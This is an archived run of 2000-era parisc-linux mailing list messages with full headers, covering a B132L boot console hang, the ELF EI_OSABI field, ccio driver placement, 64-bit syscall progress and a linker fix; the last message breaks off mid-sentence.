Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA30139
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 10:25:27 -0700
Original-Received: (qmail 17694 invoked by uid 15267); 22 Nov 2000 17:27:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17683 invoked from network); 22 Nov 2000 17:27:42 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 22 Nov 2000 17:27:42 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id 9EFC6498
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Nov 2000 09:27:09 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id JAA21644;
	Wed, 22 Nov 2000 09:27:21 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 22 Nov 2000 07:54:24 PST."
             <ED34C7F701D5D31196260090278CAFDA01981A60@xatl04.atl.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8587

"CLAPPER,MIKE (HP-USA,ex1)" wrote:
> 
> 
> Hello Everyone,
> 
> I download the cross-compilers and  build a lifimage on Redhat 6.1.  I set
> up nfsroot on a S712 running hpux 10.20.  With this I am able to boot a
> B132L running pdc 6.1 - 
> almost.  I get a hang right after -
> 
> VFS: Mounted root (nfs filesystem) readonly
> Warning: unable to open an initial console

I think I need more output. Based on ioscan output, the B132L
has two serial ports:
8/16/4 - off of LASI
8/20/2 - of WAX (EISA Bus Adapter)

(GSCtoPCI is at 8/0)

I don't think the one off of WAX is supported right now.

Are you using the default .config produced by "make oldconfig"?

It's also possible the LASI support is broken on B132L and I would
expect some console output indicating what's wrong.

> I have a 700/96 on serial port 1 as the console.  I have hpux on a disc in
> the unit I'm trying to boot - from HPUX I have verified I can nfs mount the
> filesys I'm using for NFSROOT.

NFS root mounted fine. Console is the problem.

...
> Is there a way to keyword search the developers archive?  I vaguely recall
> seeing the 'initial console' warning, but couldn't find it browsing the
> developers archive

Yes - http://puffin.external.hp.com/cgi-bin/mailgrep

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:18 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Cary Coutant <cary@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Use of the EI_OSABI field
Date: Wed, 22 Nov 2000 10:06:05 -0800
Lines: 59
Approved: news@gmane.org
Message-ID: <200011221806.KAA06196@adlmail.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
X-Trace: ger.gmane.org 1416619334 6983 80.91.229.3 (22 Nov 2014 01:22:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:14 +0000 (UTC)
Cc: "Ulrich Drepper" <drepper@cygnus.com>,
        "John Marvin" <jsm@udlkern.fc.hp.com>,
        <parisc-linux@puffin.external.hp.com>,
        <parisc-linux@thepuffingroup.com>, <binutils@sourceware.cygnus.com>
To: "H . J . Lu" <hjl@valinux.com>, "Alan Modra" <alan@linuxcare.com.au>
Original-X-From: cary@cup.hp.com  Wed Nov 22 11:06:18 2000
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id LAA31031
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 11:06:09 -0700
Original-Received: from adlmail.cup.hp.com (adlmail.cup.hp.com [15.0.100.30])
	by atlrel2.hp.com (Postfix) with ESMTP id 482AECA9
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 13:08:24 -0500 (EST)
Original-Received: from [15.0.100.219] (hpadl716.cup.hp.com [15.0.100.219])
	by adlmail.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id KAA06196;
	Wed, 22 Nov 2000 10:06:56 -0800 (PST)
x-sender: cary@adlmail.cup.hp.com
x-mailer: Claris Emailer 2.0v3, January 22, 1998
Xref: news.gmane.org gmane.linux.ports.parisc:8588

As the original author of the proposal to add the EI_OSABI field to the 
ELF format, let me try to clarify the intent of this field. The 
authoritative definition of this field is found in SCO's gABI document, 
which is still the official specification for the ELF format (this is 
probably posted somewhere on SCO's web site). Here's what it says:

    Byte e_ident[EI_OSABI] identifies the operating system and
    ABI to which the object is targeted. Some fields in other ELF
    structures have flags and values that have operating system
    and/or ABI specific meanings; the interpretation of those
    fields is determined by the value of this byte. The value of
    this byte must be interpreted differently for each machine.
    That is, each value for the e_machine field determines a set
    of values for the EI_OSABI byte. Values are assigned by the
    ABI processor supplement for each machine. If the processor
    supplement does not specify a set of values, the value 0
    shall be used and indicates unspecified.

The first sentence is still a bit misleading, and is an artifact of the 
original proposal. Originally, the field was intended to identify the 
target ABI (hence the name of the field). As we started discussing a 
common Unix ABI for IA-64, however, it became clear that this field 
wouldn't serve that purpose, but it was still needed to identify the set 
of platform-specific ELF extensions that are used by the object file.

There are a number of fields in the ELF format for which ranges of values 
or a set of flag bits are reserved for vendor-specific use (e.g., 
SHT_LOOS through SHT_HIOS for vendor-specific section types, and 
SHF_MASKOS for vendor-specific section attributes). If an object file 
uses any of these values or flag bits, the consumer of the file must 
consult the EI_OSABI field to determine what those values or flags mean. 
It works just like the e_machine field does for attaching meaning to 
processor-specific values and flags.

The intent is that any ABI-conforming implementation will be able to 
execute an ABI-conforming binary, even if it uses certain vendor-specific 
features. In many cases, those vendor-specific features are hints for a 
particular OS that can be ignored by other implementations. Where this is 
not the case, and a vendor-specific feature must be understood by the 
system in order to process the file correctly, we have a couple of 
alternatives.

For section types and flags that a linker must understand, we have the 
SHF_OS_NONCONFORMING flag -- if set, and a linker doesn't understand a 
particular section type or flag, it must reject the file.

For executables that will execute only on a particular implementation, we 
must use an alternate interpreter (PT_INTERP) or bind to 
implementation-specific shared libraries. An ABI-conforming binary will 
use the interpreter specified in the psABI spec, and will use only system 
libraries specified there.

For statically-bound programs, I'm afraid we don't have a clear solution. 
We took the general approach that such programs are not ABI-conforming in 
the first place, and can use any mechanism they might choose to verify 
that they are executing on the appropriate implementation.

-cary


From - Thu Nov 08 21:14:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Wed, 22 Nov 2000 11:55:38 -0800
Lines: 38
Approved: news@gmane.org
Message-ID: <200011221955.LAA21865@milano.cup.hp.com>
References: <200011220811.BAA14756@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619335 6984 80.91.229.3 (22 Nov 2014 01:22:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:15 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: grundler@cup.hp.com  Wed Nov 22 12:54:28 2000
Original-Received: from cosrel1.hp.com (cosrel1.hp.com [156.153.255.170])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA32087
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 12:54:28 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel1.hp.com (Postfix) with ESMTP id 76B145A2
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 12:57:00 -0700 (MST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id LAA21865;
	Wed, 22 Nov 2000 11:55:39 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 22 Nov 2000 01:11:57 PST."
             <200011220811.BAA14756@udlkern.fc.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8589

John Marvin wrote:
> Grant Grundler wrote:
> > Yes I do. It is supposed to work for ccio+PCX-W platforms (eg C360).
...
> Well, personally i'd vote to get rid of it. It works for ONE machine only,
> and MAY have an advantage in some small case.

And so does the OB600 mouse driver I rewrote/published.
AFAIK, it only works on OB600s.

I was originally thinking D/K/R-class boxes had PCX-W upgrades but
AFAICT, they don't.

> But if we keep it, lets make
> sure that it is real clear that it should NOT be the default choice.
> 
> It should be marked CONFIG_EXPERIMENTAL, and the text associated with it
> should clearly show that it works on a C360 only. If possible, it should
> also be made clear that ccio-dma.c works for C360, so people who have
> C360's don't think they have to choose ccio-rm-dma.c.

IIRC, Comments in the headers of both ccio files make those issues clear.
I'm not sure where else that needs to be documented.

> Grant, I hope you are prepared to answer the parisc-linux mailing list
> questions this is going to generate once parisc-linux starts becoming more
> visible.  Another FAQ entry perhaps? :-)

Ryan owns it. He's responsible for documenting it and adding FAQ questions.
He can choose to delete ccio-rm-dma.c as well.
:^)

I think it'd be a waste to throw it away before someone figures
out that it's really not useful - even if just for C360.

thanks,
grant


From - Thu Nov 08 21:14:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "CLAPPER,MIKE \(HP-USA,ex1\)" <mike_clapper@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] B132L boot hang
Date: Wed, 22 Nov 2000 12:05:23 -0800
Lines: 73
Approved: news@gmane.org
Message-ID: <ED34C7F701D5D31196260090278CAFDA01981A69@xatl04.atl.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619335 6989 80.91.229.3 (22 Nov 2014 01:22:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:15 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: "'Grant Grundler'" <grundler@cup.hp.com>,
        "CLAPPER,MIKE \(HP-USA,ex1\)" <mike_clapper@hp.com>
Original-X-From: mike_clapper@hp.com  Wed Nov 22 13:03:35 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA32638
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 13:03:34 -0700
Original-Received: (qmail 22471 invoked by uid 15267); 22 Nov 2000 20:05:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22463 invoked from network); 22 Nov 2000 20:05:39 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 22 Nov 2000 20:05:39 -0000
Original-Received: from omgw1.boi.hp.com (omgw1.boi.hp.com [15.56.8.101])
	by palrel3.hp.com (Postfix) with ESMTP id 87DCD6C2
	for <parisc-linux@thepuffingroup.com>; Wed, 22 Nov 2000 12:05:38 -0800 (PST)
Original-Received: from xrosebh3.rsvl.itc.hp.com (xrosebh3.rsvl.itc.hp.com [15.34.240.67])
	by omgw1.boi.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with ESMTP id NAA07079;
	Wed, 22 Nov 2000 13:05:35 -0700 (MST)
Original-Received: by xrosebh3.rsvl.itc.hp.com with Internet Mail Service (5.5.2650.21)
	id <XM3ZDNJG>; Wed, 22 Nov 2000 12:05:35 -0800
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8590

Thanks Grant,

I verified the console is off 8/16/4.0 and that it is the LASI port.  I also
downloaded the newest cross-compiler and source code.  After rebuilding the
palo lifimage I get the same hang in the same place.  Since I was cabled to
a dumb terminal I was not able to capture the boot output.  I will find the
right cable to hook up to my pc so I can capture the output and send it to
you - perhaps an error occurred earlier in the boot that I overlooked.

Thanks for the help.

Mike


-----Original Message-----
From: Grant Grundler [mailto:grundler@cup.hp.com]
Sent: Wednesday, November 22, 2000 11:27 AM
To: CLAPPER,MIKE (HP-USA,ex1)
Cc: 'parisc-linux@thepuffingroup.com'
Subject: Re: [parisc-linux] B132L boot hang 


"CLAPPER,MIKE (HP-USA,ex1)" wrote:
> 
> 
> Hello Everyone,
> 
> I download the cross-compilers and  build a lifimage on Redhat 6.1.  I set
> up nfsroot on a S712 running hpux 10.20.  With this I am able to boot a
> B132L running pdc 6.1 - 
> almost.  I get a hang right after -
> 
> VFS: Mounted root (nfs filesystem) readonly
> Warning: unable to open an initial console

I think I need more output. Based on ioscan output, the B132L
has two serial ports:
8/16/4 - off of LASI
8/20/2 - of WAX (EISA Bus Adapter)

(GSCtoPCI is at 8/0)

I don't think the one off of WAX is supported right now.

Are you using the default .config produced by "make oldconfig"?

It's also possible the LASI support is broken on B132L and I would
expect some console output indicating what's wrong.

> I have a 700/96 on serial port 1 as the console.  I have hpux on a disc in
> the unit I'm trying to boot - from HPUX I have verified I can nfs mount
the
> filesys I'm using for NFSROOT.

NFS root mounted fine. Console is the problem.

...
> Is there a way to keyword search the developers archive?  I vaguely recall
> seeing the 'initial console' warning, but couldn't find it browsing the
> developers archive

Yes - http://puffin.external.hp.com/cgi-bin/mailgrep

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253

---------------------------------------------------------------------------
To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.


From - Thu Nov 08 21:14:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kirk Bresniker <kirkb@chrome.rose.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Wed, 22 Nov 2000 12:10:10 PST
Lines: 17
Approved: news@gmane.org
Message-ID: <200011222010.MAA22396@chrome.rose.hp.com>
References: <200011221955.LAA21865@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619335 6992 80.91.229.3 (22 Nov 2014 01:22:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:15 +0000 (UTC)
Cc: jsm@udlkern.fc.hp.com, parisc-linux@puffin.external.hp.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: kirkb@chrome.rose.hp.com  Wed Nov 22 13:07:56 2000
Original-Received: from palrel3.hp.com (palrel3.hp.com [156.153.255.226])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA00714
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 13:07:55 -0700
Original-Received: from chrome.rose.hp.com (chrome.rose.hp.com [15.8.150.209])
	by palrel3.hp.com (Postfix) with ESMTP id 4AF6E7DA
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 12:10:11 -0800 (PST)
Original-Received: (from kirkb@localhost) by chrome.rose.hp.com (8.8.6 (PHNE_14041)/8.8.6 SMKit7.02) id MAA22396; Wed, 22 Nov 2000 12:10:11 -0800 (PST)
In-Reply-To: <200011221955.LAA21865@milano.cup.hp.com>; from "Grant Grundler" at Nov 22, 100 11:55 am
X-Mailer: Elm [revision: 212.4]
Xref: news.gmane.org gmane.linux.ports.parisc:8591

Grant Grundler wrote:

| I was originally thinking D/K/R-class boxes had PCX-W upgrades but
| AFAICT, they don't.
| 

The C-class upgrade to PCX-W was a one-off.  Upgrades for similar enterprise
servers were not designed. 

KMB
--
+============================================================+
|       Kirk Bresniker    	(916) 748-2393		     |
|       8000 Foothills Blvd                                  |
|       Roseville, CA 95747-5649                             |
|       kirkb@rose.hp.com                                    |


From - Thu Nov 08 21:14:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVS linux Vs. -test10
Date: Wed, 22 Nov 2000 12:11:23 -0800
Lines: 33
Approved: news@gmane.org
Message-ID: <200011222011.MAA21917@milano.cup.hp.com>
References: <200011212124.NAA20426@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619336 6994 80.91.229.3 (22 Nov 2014 01:22:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:16 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Wed Nov 22 13:10:11 2000
Original-Received: from atlrel1.hp.com (atlrel1.hp.com [156.153.255.210])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id NAA01046
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 13:10:11 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by atlrel1.hp.com (Postfix) with ESMTP id F28D66B9
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 15:12:26 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id MAA21917
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 12:11:24 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 21 Nov 2000 13:24:31 PST."
             <200011212124.NAA20426@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8592

Grant Grundler wrote:
...
> arch/parisc/kernel/ccio-dma.c    -> drivers/gsc/ccio-dma.c
> arch/parisc/kernel/ccio-rm-dma.c -> drivers/gsc/ccio-rm-dma.c
> 
>     ccio will *always* be associated with a GSC bus since that's
>     the secondary bus. And ccio supports devices below dino.c which
>     already lives in drivers/gsc.

Ryan - moving/keeping these files is up to you.
I was just sharing what I thought was "right".
Apologies for not making that clear earlier.


> arch/parisc/kernel/lba_pci.c     -> drivers/ropes/lba_pci.c
> arch/parisc/kernel/sba_iommu.c   -> drivers/ropes/sba_iommu.c
> arch/parisc/kernel/iosapic.c     -> drivers/ropes/iosapic.c

I've talked to one of the folks working on IA64-linux.
They are interested in merging iosapic code but haven't even
looked at the parisc version I wrote. We talked a bit about the
issues and it doesn't sound like it's going to happen anytime soon.
In any case, iosapic.c doesn't belong under "drivers/ropes".

So none of this needs to move in the forseeable future.
It can all stay in arch/parisc/kernel.

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L boot hang
Date: Wed, 22 Nov 2000 21:43:40 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <00112221434002.00303@P100>
References: <200011221727.JAA21644@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619336 7008 80.91.229.3 (22 Nov 2014 01:22:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:16 +0000 (UTC)
Cc: "'parisc-linux@thepuffingroup.com'" <parisc-linux@thepuffingroup.com>
To: Grant Grundler <grundler@cup.hp.com>,
        "CLAPPER,MIKE \(HP-USA,ex1\)" <mike_clapper@hp.com>
Original-X-From: deller@gmx.de  Wed Nov 22 13:42:21 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id NAA01888
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 13:42:20 -0700
Original-Received: (qmail 17582 invoked by uid 15267); 22 Nov 2000 20:44:33 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 17570 invoked from network); 22 Nov 2000 20:44:33 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 22 Nov 2000 20:44:33 -0000
Original-Received: (qmail 9113 invoked by uid 0); 22 Nov 2000 20:44:05 -0000
Original-Received: from pd90403e9.dip.t-dialin.net (HELO P100) (217.4.3.233)
  by mail.gmx.net (mail05) with SMTP; 22 Nov 2000 20:44:05 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <200011221727.JAA21644@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8593

> I think I need more output. Based on ioscan output, the B132L
> has two serial ports:
> 8/16/4 - off of LASI
> 8/20/2 - of WAX (EISA Bus Adapter)
> 
> (GSCtoPCI is at 8/0)
> 
> I don't think the one off of WAX is supported right now.

It should be detected & supported (at least it is on my B160L).
But it is not used as initial console since it normally gets assigned as 
ttyS1 while LASI-serial gets ttyS0.

Greetings,

	Helge.


From - Thu Nov 08 21:14:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit progress
Date: Wed, 22 Nov 2000 16:03:12 -0700
Lines: 27
Approved: news@gmane.org
Message-ID: <E13yiv2-0007QD-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619336 7010 80.91.229.3 (22 Nov 2014 01:22:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:16 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: bame@noam.fc.hp.com  Wed Nov 22 16:00:56 2000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id QAA04310
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 16:00:56 -0700
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id QAA17580
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 16:03:12 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13yiv2-0007QD-00
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 16:03:12 -0700
Xref: news.gmane.org gmane.linux.ports.parisc:8594


32-bit syscalls on 64-bit kernel are to the point where a few things
work, and signals appear to be working (I didn't implement *all* the
signal-related syscalls yet).  I'll be continuing to produce syscall
wrappers for a while...

If you try to boot the standard NFS root with wide kernel, you'll want to
	mv sbin/init sbin/init-real
then compile and install this program as sbin/init:
	int main()
	{
	    char *argv[2];

	    argv[0] = "/sbin/init-real";
	    argv[1] = 0;
	    execv(argv[0], argv);
	}

I never felt comfortable I found the point where sys_execve figures out it
needs to pack the argv vector differently for narrow user apps (locally I
also am using PER_LINUX32 in binfmt_elf32.c) which causes the initial
exec(/sbin/init) to be passed incomprehensible arguments.  This program
is a little temporary workaround.


	-Paul Bame


From - Thu Nov 08 21:14:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linker problems
Date: Sat, 1 May 1999 02:24:58 +0000
Lines: 14
Approved: news@gmane.org
Message-ID: <19990501022458.64384@insula.local>
References: <Pine.LNX.3.96.990430190529.10592L-100000@devserv.devel.redhat.com>
Reply-To: Philipp Rumpf <prumpf@jcsbs.lanobis.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619337 7014 80.91.229.3 (22 Nov 2014 01:22:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:17 +0000 (UTC)
To: Alex deVries <adevries@redhat.com>, parisc-linux@thepuffingroup.com
Original-X-From: prumpf@jcsbs.lanobis.de  Fri Apr 30 20:16:58 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id UAA16975
	for <parisc-linux@puffin.external.hp.com>; Fri, 30 Apr 1999 20:16:58 -0600
Original-Received: (qmail 20055 invoked by uid 15267); 1 May 1999 02:15:02 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20048 invoked from network); 1 May 1999 02:15:01 -0000
Original-Received: from mail.lanobis.de (HELO bbs.lanobis.de) (root@62.104.42.195)
  by mailserv2.iuinc.com with SMTP; 1 May 1999 02:15:01 -0000
Original-Received: from world.local by bbs.lanobis.de with smtp
	(Smail3.2.0.92 #2) id m10dPKo-001Ly2C; Sat, 1 May 1999 04:16:54 +0200 (CEST)
Original-Received: (qmail 6437 invoked from network); 1 May 1999 02:17:22 -0000
Original-Received: from insula.local (HELO insula.jcsbs.lanobis.de) (@10.1.31.6)
  by world.local with SMTP; 1 May 1999 02:17:22 -0000
Original-Received: (from prumpf@localhost)
	by insula.jcsbs.lanobis.de (8.8.8/8.8.8) id CAA20774;
	Sat, 1 May 1999 02:24:59 GMT
X-Mailer: Mutt 0.89.1
In-Reply-To: <Pine.LNX.3.96.990430190529.10592L-100000@devserv.devel.redhat.com>; from Alex deVries on Fri, Apr 30, 1999 at 07:07:56PM -0400
X-Accept-Language: en,de,se
Xref: news.gmane.org gmane.linux.ports.parisc:8595

> That's remarkably gross, since it indicates that there's a problem with
> the linker.  I'm not quite sure what it is, but the problem seems to come

I think I have fixed it in CVS. Please all retry 8)

> I think that's a good thing for someone to look into.

Still, someone could look into whether what I have done was right, so the
comments in the code seem to imply very strongly to me it is.

binutils/ld/emultempl/hppaelf.em is now version 1.2, was version 1.1.

	Philipp


From - Thu Nov 08 21:14:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: glibc
Date: Thu, 23 Nov 2000 11:18:20 +1100 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011231041530.22889-100000@front.linuxcare.com.au>
References: <20001122213444.3E1B037CA7@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619337 7018 80.91.229.3 (22 Nov 2014 01:22:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:17 +0000 (UTC)
Cc: doneill@linuxcare.com, parisc-linux@thepuffingroup.com
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: alan@linuxcare.com.au  Wed Nov 22 17:18:26 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA05493
	for <parisc-linux@puffin.external.hp.com>; Wed, 22 Nov 2000 17:18:26 -0700
Original-Received: (qmail 32567 invoked by uid 15267); 23 Nov 2000 00:20:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32495 invoked from network); 23 Nov 2000 00:20:37 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 23 Nov 2000 00:20:37 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id LAA24591;
	Thu, 23 Nov 2000 11:18:20 +1100
In-Reply-To: <20001122213444.3E1B037CA7@carmen.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8596

On Wed, 22 Nov 2000, Matt Taggart wrote:

> Hi Alan,
> 
> First a timezone question... your mail headers have you in +11 and Ft. Collins 
> is -7 so you're 6 hours behind + 1 day relative to us? So as I send this it's 
> 14:05 here and 8:05 there?

Hi Matt,
  I'm actually on +10:30 in Adelaide, but posting from a Linuxcare machine
in Canberra which is on +11.

>[snip segfaults]
> I am building native using dhd's binutils/gcc/glibc debs, using source checked 
